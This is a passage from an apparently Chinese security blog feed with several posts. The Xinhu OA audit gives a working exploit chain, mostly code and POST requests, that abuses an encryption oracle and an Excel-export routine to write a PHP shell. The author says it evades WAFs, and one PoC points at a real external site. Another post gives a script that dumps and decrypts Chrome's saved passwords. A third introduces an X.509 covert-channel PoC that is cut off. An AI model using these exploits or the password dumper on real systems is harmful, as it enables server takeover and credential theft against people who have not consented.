class="string">'已保存,但无法从新生成列表页,自定义列将不能生效'</span>;</span><br><span class="line"> <span class="keyword">echo</span> $msg;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><a href="http://localhost/xinhu/index.php?&m=flow&a=savecolunms&ajaxbool=true&d=main" target="_blank" rel="noopener">http://localhost/xinhu/index.php?&m=flow&a=savecolunms&ajaxbool=true&d=main</a></p><p>post:num=path&str=/test/a</p><p>这不算漏洞,但是可以利用这个做一些事情。</p><h3 id="8-输出显示val"><a href="#8-输出显示val" class="headerlink" title="8.输出显示val"></a>8.输出显示val</h3><p>C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\task\api\loginAction.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">checkewmAction</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">$randkey = <span class="keyword">$this</span>->get(<span class="string">'randkey'</span>);</span><br><span class="line"></span><br><span class="line">$val = <span class="keyword">$this</span>->option->getval($randkey);</span><br><span class="line"><span class="keyword">echo</span> $val;</span><br><span class="line"> <span class="comment">//echo $val;exit();</span></span><br><span class="line"><span class="comment">//echo $val;</span></span><br><span class="line">$data[<span class="string">'val'</span>] = $val;</span><br><span class="line"><span class="comment">//echo $randkey;exit();</span></span><br><span class="line"><span class="keyword">if</span>(isempt($randkey))<span class="keyword">$this</span>->showreturn($data);</span><br><span class="line"><span class="keyword">if</span>($val><span class="string">'0'</span>){</span><br><span class="line">$dbs = m(<span class="string">'admin'</span>);</span><br><span class="line">$urs = $dbs->getone(<span class="string">"`id`='$val' and `status`=1"</span>,<span class="string">'`name`,`user`,`face`,`pass`'</span>);</span><br><span class="line"><span class="keyword">if</span>(!$urs){</span><br><span class="line">$val = <span class="string">'-1'</span>;</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line">$data[<span class="string">'user'</span>] = $urs[<span class="string">'user'</span>];</span><br><span class="line">$data[<span class="string">'face'</span>] = $dbs->getface($urs[<span class="string">'face'</span>]);</span><br><span class="line">$data[<span class="string">'pass'</span>] = md5($urs[<span class="string">'pass'</span>]);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">$this</span>->option->delete(<span class="string">"`num`='$randkey'"</span>);</span><br><span class="line">}</span><br><span class="line">$data[<span class="string">'val'</span>] = $val;</span><br><span class="line"><span class="keyword">$this</span>->showreturn($data);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><a href="http://localhost/xinhu/index.php?&m=email&a=setsave&d=system&ajaxbool=true" target="_blank" rel="noopener">http://localhost/xinhu/index.php?&m=email&a=setsave&d=system&ajaxbool=true</a></p><p>post:sendhost=1</p><p>后</p><p><a href="http://localhost/xinhu/api.php?&m=login&a=checkewm&randkey=email_sendhost" target="_blank" rel="noopener">http://localhost/xinhu/api.php?&m=login&a=checkewm&randkey=email_sendhost</a></p><h3 id="9-输出显示val"><a href="#9-输出显示val" class="headerlink" title="9.输出显示val"></a>9.输出显示val</h3><p>获取服务段加密数据</p><p>poc:</p><p><a href="http://www.realfoodco.cn/index.php?&m=email&a=publicstore&d=system&ajaxbool=true" target="_blank" rel="noopener">http://www.realfoodco.cn/index.php?&m=email&a=publicstore&d=system&ajaxbool=true</a></p><p>post:storeafteraction=savebeforecog&emailpass=admin&id=1</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">savebeforecog</span><span class="params">($table, $cans)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">$emailpass= <span class="keyword">$this</span>->post(<span class="string">'emailpass'</span>);</span><br><span class="line"><span class="keyword">if</span>(!isempt($emailpass)){</span><br><span class="line">$cans[<span class="string">'emailpass'</span>] = <span class="keyword">$this</span>->jm->encrypt($emailpass);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">array</span>(</span><br><span class="line"><span class="string">'rows'</span> => $cans</span><br><span class="line">);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="写文件GETSHELL"><a href="#写文件GETSHELL" class="headerlink" title="写文件GETSHELL"></a>写文件GETSHELL</h3><p>这是一个很有意思的漏洞,由于该框架的实现相当灵活,这里我是利用了一些组合调用来完成的上面的7、8、9都是我为了这一步做的一些铺垫。这里姿势比较多我只介绍了一种,有幸看到文章的师傅也可以试一试</p><p>首先看问题所在的函数,C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\webmainAction.php</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">public function exceldown($arr)</span><br><span class="line">{</span><br><span class="line"> $fields = explode(',', $this->post('excelfields','',1));</span><br><span class="line"> $header = explode(',', $this->post('excelheader','',1));</span><br><span class="line"> $title = $this->post('exceltitle','',1);</span><br><span class="line"> $rows = $arr['rows'];</span><br><span class="line"> $exceltype = $this->post('exceltype','xls'); //保存文件类型</span><br><span class="line"> $headArr = array();</span><br><span class="line"> for($i=0; $i<count($fields); $i++){</span><br><span class="line"> $headArr[$fields[$i]] = $header[$i];</span><br><span class="line"> }</span><br><span class="line"> $url = c('html')->execltable($title, $headArr, $rows, $exceltype);</span><br><span class="line"> $this->returnjson(array(</span><br><span class="line"> 'url' => $url, </span><br><span class="line"> 'totalCount'=> $arr['totalCount'],</span><br><span class="line"> 'downCount' => count($rows)</span><br><span class="line"> ));</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里看到默认上传接受的文件后缀是xls,这个后缀传递给c(‘html’)->execltable模型,看看这个模型的实现</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">/**</span><br><span class="line">* 创建excel导出表格</span><br><span class="line">*/</span><br><span class="line">public function execltable($title, $headArr, $rows, $lx='')</span><br><span class="line">{</span><br><span class="line"> if($lx=='')$lx='xls';</span><br><span class="line"> $borst = '.5pt';</span><br><span class="line"> $sty = 'style="white-space:nowrap;border:'.$borst.' solid #000000;font-size:12px;"';</span><br><span class="line"> $s = '<html><head><meta charset="utf-8"><title>'.$title.'</title></head><body>';</span><br><span class="line"> $s .= '<table border="0" style="border-collapse:collapse;">';</span><br><span class="line"> $hlen = 1;</span><br><span class="line"> $s1='<tr height="30"><td '.$sty.'>序号</td>';</span><br><span class="line"> foreach($headArr as $na){</span><br><span class="line"> $hlen++;</span><br><span class="line"> $s1.='<td '.$sty.'>'.$na.'</td>';</span><br><span class="line"> }</span><br><span class="line"> $s1.='</tr>';</span><br><span class="line"> $s.='<tr height="40"><td '.$sty.' colspan="'.$hlen.'">'.$title.'</td></tr>';</span><br><span class="line"> $s.=$s1;</span><br><span class="line"> foreach($rows as $k=>$rs){</span><br><span class="line"> $s.='<tr height="26">';</span><br><span class="line"> $s.='<td align="center" '.$sty.'>'.($k+1).'</td>';</span><br><span class="line"> foreach($headArr as $kf=>$na){</span><br><span class="line"> $val = '';</span><br><span class="line"> if(isset($rs[$kf]))$val=$rs[$kf];</span><br><span class="line"> $s.='<td '.$sty.'>'.$val.'</td>';</span><br><span class="line"> }</span><br><span class="line"> $s.='</tr>';</span><br><span class="line"> }</span><br><span class="line"> $s.='</table>';</span><br><span class="line"> </span><br><span class="line"> $s.='</body></html>';</span><br><span class="line"> </span><br><span class="line"> $mkdir = ''.UPDIR.'/logs/'.date('Y-m').'';</span><br><span class="line"> </span><br><span class="line"> if(!contain(strtolower(PHP_OS),'win')){</span><br><span class="line"> $title = c('pingyin')->get($title, 1);//linux要用拼音,不然会乱码</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> $filename = ''.$title.'_'.date('d_His').'.'.$lx.'';</span><br><span class="line"> $filename = str_replace('/','',$filename);</span><br><span class="line"> $url = ''.$mkdir.'/'.$filename.'';</span><br><span class="line"> $bo = $this->rock->createtxt(iconv('utf-8','gb2312',$url), $s);</span><br><span class="line"> return $url;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>文件名自始至终没有一个检测,利用这里我们可以写入任意文件,但是有几点需要注意,首先需要写进文件的变量是\$title, \$headArr,\$arr,前两个是用户post后然后加密一次的变量,arr变量是调用该方法传入的一个数组参数。我这里考虑使用前者两个变量写shell,因为这样我的数据包是一次加密的这样比较隐蔽,但是这个加密函数是内部实现的,我该如何将我的字符串使用网站加密再返回给我?找到这么一个函数</p><p>C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\system\email\emailAction.php</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">public function savebeforecog($table, $cans)</span><br><span class="line">{</span><br><span class="line"></span><br><span class="line"> $emailpass = $this->post('emailpass');</span><br><span class="line"> if(!isempt($emailpass)){</span><br><span class="line"> $cans['emailpass'] = $this->jm->encrypt($emailpass);</span><br><span class="line"> }</span><br><span class="line"> return array(</span><br><span class="line"> 'rows' => $cans</span><br><span class="line"> );</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>post(‘emailpass’)后返回回去,有了这个函数,还有漏洞,就差一把枪,也就是该如何调用。</p><p>由于这个框架直接路由调用的方法都是以Ajax或者Action结尾的方法,这两个方法都不能如此直接路由调用,这里就找到一些公共方法。首先是加密这一块,我调用publicstoreAjax()方法,其中会接受参数进行下一步的操作</p><p>访问</p><p><a href="http://localhost/xinhu/index.php?&m=email&a=publicstore&d=system&ajaxbool=true" target="_blank" rel="noopener">http://localhost/xinhu/index.php?&m=email&a=publicstore&d=system&ajaxbool=true</a></p><p>post数据:storeafteraction=savebeforecog&emailpass=<?php system(“ipconfig”)?>&id=1</p><p>这样生成加密字符串</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1ly1fow94ygkmkj212c0b43zl.jpg" alt=""> </p><p>拿到加密字符串后开始正式写shell</p><p>访问:<a href="http://localhost/xinhu/index.php?&a=publicsavevalue&ajaxbool=true" target="_blank" rel="noopener">http://localhost/xinhu/index.php?&a=publicsavevalue&ajaxbool=true</a></p><p>post数据:fieldsafteraction=exceldown&exceltype=php&excelheader=hx0oh0kt0nnl0lt0tv0ok0nxp0ll0kn0nxh0nvv0nxx0tn0ho0nno0tk0ot0tu0nnv0ll0tn0th0nnh0lh0nxl0lx0nnv0lx0nvn0tp0nnv0hx0nvv0kv0kh03</p><p>写文件</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1ly1fow96g1a45j21060bsgmn.jpg" alt=""> </p><p>生成成功,验证一下</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1ly1fow972gm1rj20l10nidh8.jpg" alt=""> </p><p>由于我写入的字符串post的时候就是加密一次的,所以这里自带过滤,可以过一些waf等防护</p>]]></content>
<summary type="html">
<h1 id="信呼OA"><a href="#信呼OA" class="headerlink" title="信呼OA"></a>信呼OA</h1><p>闲着没事,java学累了来整理下以前审的一个觉得很有意思的cms,这个作者写的比较灵活,同时灵活也代表着凌乱,很多不严谨导致
</summary>
</entry>
<entry>
<title>linux下使用gdb对php源码调试</title>
<link href="http://blog.leej.me/2018/02/11/linux%E4%B8%8B%E4%BD%BF%E7%94%A8gdb%E5%AF%B9php%E6%BA%90%E7%A0%81%E8%B0%83%E8%AF%95/"/>
<id>http://blog.leej.me/2018/02/11/linux下使用gdb对php源码调试/</id>
<published>2018-02-11T09:59:08.000Z</published>
<updated>2018-02-11T09:59:38.441Z</updated>
<content type="html"><![CDATA[<h3 id="linux下使用gdb进行php调试"><a href="#linux下使用gdb进行php调试" class="headerlink" title="linux下使用gdb进行php调试"></a>linux下使用gdb进行php调试</h3><p>调试了一些php的漏洞,记录一下大概的过程</p><h5 id="安装编译php"><a href="#安装编译php" class="headerlink" title="安装编译php"></a>安装编译php</h5><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install -y autoconf libtool re2c libxml2-dev openssl libcurl4-openssl-dev libbz2-dev libjpeg-dev libpng12-dev libfreetype6-dev libldap2-dev libmcrypt-dev libmysqlclient-dev libxslt1-dev libxt-dev libpcre3-dev libxpm-dev libt1-dev libgmp-dev libpspell-dev librecode-dev libreadline6-dev bison libtidy-dev</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sudo ln -s /usr/lib/x86_64-linux-gnu/libldap.so /usr/lib/ </span><br><span class="line">sudo ln -s /usr/lib/x86_64-linux-gnu/liblber.so /usr/lib/ </span><br><span class="line">sudo ln -s /usr/include/x86_64-linux-gnu/gmp.h /usr/include/gmp.h</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">./buildconf </span><br><span class="line">./configure --<span class="built_in">enable</span>-opcache --<span class="built_in">enable</span>-fpm --<span class="built_in">enable</span>-pdo --<span class="built_in">enable</span>-sockets --<span class="built_in">enable</span>-exif --<span class="built_in">enable</span>-soap --<span class="built_in">enable</span>-ftp --<span class="built_in">enable</span>-wddx --<span class="built_in">enable</span>-pcntl --<span class="built_in">enable</span>-soap --<span class="built_in">enable</span>-bcmath --<span class="built_in">enable</span>-mbstring --<span class="built_in">enable</span>-dba --<span class="built_in">enable</span>-gd-native-ttf --<span class="built_in">enable</span>-gd-jis-conv --<span class="built_in">enable</span>-zip --<span class="built_in">enable</span>-calendar --<span class="built_in">enable</span>-shmop --<span class="built_in">enable</span>-sysvmsg --<span class="built_in">enable</span>-sysvsem --<span class="built_in">enable</span>-sysvshm --with-mysqli --with-pdo-mysql --with-pdo-sqlite --with-iconv --with-gmp --with-pspell --with-gettext --with-xmlrpc --with-openssl --with-mhash --with-mcrypt --with-xsl --with-curl --with-pcre-regex --with-gd --with-jpeg-dir=/usr --with-png-dir=/usr --with-zlib-dir=/usr --with-xpm-dir=/usr --with-freetype-dir=/usr --with-gettext=/usr --with-zlib=/usr --with-bz2=/usr --with-recode=/usr --with-ldap --with-pear --with-readline --with-fpm-user=bigric3 --with-fpm-group=bigric3</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">make </span><br><span class="line">sudo make install</span><br></pre></td></tr></table></figure><p>验证安装:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">leej@ubuntu:~$ php -v</span><br><span class="line">PHP <span class="number">7.0</span><span class="number">.0</span> (cli) (built: Jan <span class="number">29</span> <span class="number">2018</span> <span class="number">19</span>:<span class="number">58</span>:<span class="number">16</span>) ( NTS )</span><br><span class="line">Copyright (c) <span class="number">1997</span><span class="number">-2015</span> The PHP Group</span><br><span class="line">Zend Engine v3<span class="number">.0</span><span class="number">.0</span>, Copyright (c) <span class="number">1998</span><span class="number">-2015</span> Zend Technologies</span><br></pre></td></tr></table></figure><h5 id="gdb的调试方法"><a href="#gdb的调试方法" class="headerlink" title="gdb的调试方法"></a>gdb的调试方法</h5><p>1.设置命令行参数:</p><p>2.显示代码:list 简写l 可以指定行数(list 5,10)</p><p>3.layout:框框圈起来看代码</p><p>4.打印变量:print 简写p 加变量(print i)/info reg打印寄存器/</p><p>5.设置断点:b 行数或函数名</p><p>6.查看断点:info b</p><p>7.删除断点:d 断点号(info中的num)</p><p>8.运行:run 简写r</p><p>9.单步调试step over:n(ext)</p><p>10.单步调试step in:s(tep)</p><p>11.运行到断点处:c(ontinue)</p><p>具体参考:<a href="http://blog.csdn.net/huqinwei987/article/details/23548239" target="_blank" rel="noopener">参考一</a>,<a href="https://www.cnblogs.com/zlcxbb/p/6441356.html" target="_blank" rel="noopener">参考二</a> </p><h5 id="确定上层php函数名在底层调用函数"><a href="#确定上层php函数名在底层调用函数" class="headerlink" title="确定上层php函数名在底层调用函数"></a>确定上层php函数名在底层调用函数</h5><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">leej@ubuntu:~/php/php-7.0.0$ nm sapi/cli/php|grep imagecreatefromgif</span><br><span class="line">0000000001106fc0 d arginfo_imagecreatefromgif</span><br><span class="line">00000000005b50b0 t zif_imagecreatefromgif</span><br></pre></td></tr></table></figure><h5 id="开始调试"><a href="#开始调试" class="headerlink" title="开始调试"></a>开始调试</h5><p>略…</p><p>主要记录环境搭建,具体调试不同的cve,这部分自由发挥吧</p>]]></content>
<summary type="html">
<h3 id="linux下使用gdb进行php调试"><a href="#linux下使用gdb进行php调试" class="headerlink" title="linux下使用gdb进行php调试"></a>linux下使用gdb进行php调试</h3><p>调试了一些p
</summary>
</entry>
<entry>
<title>导出Chrome浏览器中保存的密码</title>
<link href="http://blog.leej.me/2018/02/11/%E5%AF%BC%E5%87%BAChrome%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/"/>
<id>http://blog.leej.me/2018/02/11/导出Chrome浏览器中保存的密码/</id>
<published>2018-02-11T09:54:51.000Z</published>
<updated>2018-02-11T09:58:15.099Z</updated>
<content type="html"><![CDATA[<h1 id="导出Chrome浏览器中保存的密码"><a href="#导出Chrome浏览器中保存的密码" class="headerlink" title="导出Chrome浏览器中保存的密码"></a>导出Chrome浏览器中保存的密码</h1><p>先知看到的,挺有意思,记录一下</p><p>不同浏览器的密码路径:</p><p>360: </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">C:\Users\1\Local Settings\Application Data\360Chrome\Chrome\User Data\ </span><br><span class="line">C:\Users\1\AppData\Local\360Chrome\Chrome\User Data\</span><br></pre></td></tr></table></figure><p>chrome:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">C:\Users\1\Local Settings\Application Data\Google\Chrome\User Data\ </span><br><span class="line">C:\Users\1\AppData\Local\Google\Chrome\User Data\</span><br></pre></td></tr></table></figure><p>使用工具读取数据库文件,测试工具: SQLiteStudio</p><p>下载地址:</p><p><a href="https://sqlitestudio.pl/index.rvt" target="_blank" rel="noopener">https://sqlitestudio.pl/index.rvt</a> </p><p>Chrome做二次加密的方法: 通过Windows API CryptProtectData()实现</p><p>参考加密代码:</p><p><a href="https://github.com/scheib/chromium/blob/eb7e2441dd8878f733e43799ea77c2bab66816d3/chrome/browser/password_manager/password_store_win_unittest.cc#L107" target="_blank" rel="noopener">https://github.com/scheib/chromium/blob/eb7e2441dd8878f733e43799ea77c2bab66816d3/chrome/browser/password_manager/password_store_win_unittest.cc#L107</a></p><p>CryptProtectData()的说明可参考:</p><p><a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85" target="_blank" rel="noopener">https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx</a>.aspx “<a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx" target="_blank" rel="noopener">https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx</a>“)</p><p>获得关键信息:</p><h3 id="1-对应解密函数为CryptUnprotectData"><a href="#1-对应解密函数为CryptUnprotectData" class="headerlink" title="(1)对应解密函数为CryptUnprotectData"></a>(1)对应解密函数为CryptUnprotectData</h3><p>参考地址:</p><p><a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85" target="_blank" rel="noopener">https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx</a>.aspx “<a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx" target="_blank" rel="noopener">https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx</a>“)</p><h3 id="2-只有与加密数据的用户具有相同登录凭据的用户才能解密数据"><a href="#2-只有与加密数据的用户具有相同登录凭据的用户才能解密数据" class="headerlink" title="(2)只有与加密数据的用户具有相同登录凭据的用户才能解密数据"></a>(2)只有与加密数据的用户具有相同登录凭据的用户才能解密数据</h3><p>也就是说,只能在当前用户的凭据下解密数据</p><p>解密的开源代码也有很多,这里给出一个示例:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">from os import getenv</span><br><span class="line">import sqlite3</span><br><span class="line">import win32crypt</span><br><span class="line">import binascii</span><br><span class="line">conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")</span><br><span class="line">cursor = conn.cursor()</span><br><span class="line">cursor.execute('SELECT action_url, username_value, password_value FROM logins')</span><br><span class="line">for result in cursor.fetchall():</span><br><span class="line"> password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]</span><br><span class="line"> print password</span><br></pre></td></tr></table></figure><p><strong>注:</strong></p><p>调用win32crypt.CryptUnprotectData需要安装pywin32</p><p>下载地址:</p><p><a href="http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe" target="_blank" rel="noopener">http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe</a> </p>]]></content>
<summary type="html">
<h1 id="导出Chrome浏览器中保存的密码"><a href="#导出Chrome浏览器中保存的密码" class="headerlink" title="导出Chrome浏览器中保存的密码"></a>导出Chrome浏览器中保存的密码</h1><p>先知看到的,挺有意思
</summary>
</entry>
<entry>
<title>使用X.509公钥证书传递进行隐匿传输数据</title>
<link href="http://blog.leej.me/2018/02/11/%E4%BD%BF%E7%94%A8X-509%E5%85%AC%E9%92%A5%E8%AF%81%E4%B9%A6%E4%BC%A0%E9%80%92%E8%BF%9B%E8%A1%8C%E9%9A%90%E5%8C%BF%E4%BC%A0%E8%BE%93%E6%95%B0%E6%8D%AE/"/>
<id>http://blog.leej.me/2018/02/11/使用X-509公钥证书传递进行隐匿传输数据/</id>
<published>2018-02-11T09:47:50.000Z</published>
<updated>2018-02-11T09:48:53.306Z</updated>
<content type="html"><![CDATA[<h3 id="使用X-509公钥证书传递进行隐匿传输数据"><a href="#使用X-509公钥证书传递进行隐匿传输数据" class="headerlink" title="使用X.509公钥证书传递进行隐匿传输数据"></a>使用X.509公钥证书传递进行隐匿传输数据</h3><p>看到国外一篇有关于在ssl认证过程中,通过证书传递达到一个隐匿传输数据的过程</p><p><strong>隐蔽通道</strong></p><p>使用隐蔽通道在网络上传输数据并不新鲜。在过去的二十年,各种刊物上都有这样的参考文献<a href="https://www.icann.org/news/blog/what-is-a-dns-covert-channel" target="_blank" rel="noopener">[1]</a>。例如,向ICMP追加数据被认为是2005年采用的数据传输方式<a href="https://www.giac.org/paper/gcih/664/ping-covertchannel/104890" target="_blank" rel="noopener">[2]</a>,其引用了1997年的文献。实际上,最早提出采纳实用的隐蔽通道出自1993年的政府刊物[3]。研究人员不断的寻找滥用协议及RFC的新颖方法,以实现难以检测的数据传输方法。</p><p>2018年1月,Fidelis的研究人员Jason Reaves发表了使用X.509扩展来实现隐藏通道的研究<a href="https://en.wikipedia.org/wiki/Covert_channel" target="_blank" rel="noopener">[7]</a>,扩充了此前的研究[6]。可在已发表的研究[5][17]中阅读相关方法。</p><p>Jason在论文中描述了一个系统,可用来发送或接收来自客户端和服务器的数据。通过对X.509证书的研究,特别是可将任意二进制数据嵌入证书,或许可将其用作隐蔽通道。研究表明,动力十足的攻击者可利用此技术实现超出预定目标的攻击,最终可绕过常见的安全措施。</p><p>简而言之,TLS X.509证书有很多可以存储字符串的字段,可参见这张图片[16]。</p><p><img src="https://www.cem.me/art/cryptoposters/x509.png" alt=""></p><p>这些字段包括版本、序列号、颁发者名称、有效期等。在研究中描述的证书滥用,就是将传输的数据隐藏在这些字段中的一个。由于证书交换在TLS会话建立之前,因此好像没有进行数据传输,而实际上数据在证书交换过程中传输。</p><p>给出作者的一个POC</p><p>server.go</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span 